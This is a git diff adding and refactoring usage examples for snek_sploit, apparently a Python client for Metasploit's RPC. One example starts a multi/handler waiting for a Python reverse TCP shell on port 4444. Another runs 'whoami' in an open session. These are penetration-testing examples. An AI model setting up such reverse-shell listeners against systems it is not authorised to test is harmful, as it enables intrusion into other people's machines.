diff --git a/examples/execute_module_with_output.py b/examples/execute_module_with_output.py new file mode 100644 index 0000000..49ea2ad --- /dev/null +++ b/examples/execute_module_with_output.py @@ -0,0 +1,23 @@ +import time + +from snek_sploit import MetasploitClient, ModuleType, SessionInformation + + +def main(): + # Initialize client + client = MetasploitClient("msf", "root", disable_https_warnings=True) + console = client.consoles.create() + + commands = [ + "use multi/handler", + "set PAYLOAD python/shell_reverse_tcp", + "set LHOST 0.0.0.0", + "set LPORT 4444", + "run -z", + ] + result = console.execute("\n".join(commands)) + print(result) + + +if __name__ == "__main__": + main() diff --git a/examples/sessions.py b/examples/session_listener.py similarity index 96% rename from examples/sessions.py rename to examples/session_listener.py index 683b0b2..61131e2 100644 --- a/examples/sessions.py +++ b/examples/session_listener.py @@ -3,7 +3,7 @@ from snek_sploit import MetasploitClient, ModuleType, SessionInformation -if __name__ == "__main__": +def main(): # Initialize client client = MetasploitClient("msf", "root", disable_https_warnings=True) @@ -23,3 +23,7 @@ # Execute in shell result = shell.execute("whoami") print(result) + + +if __name__ == "__main__": + main()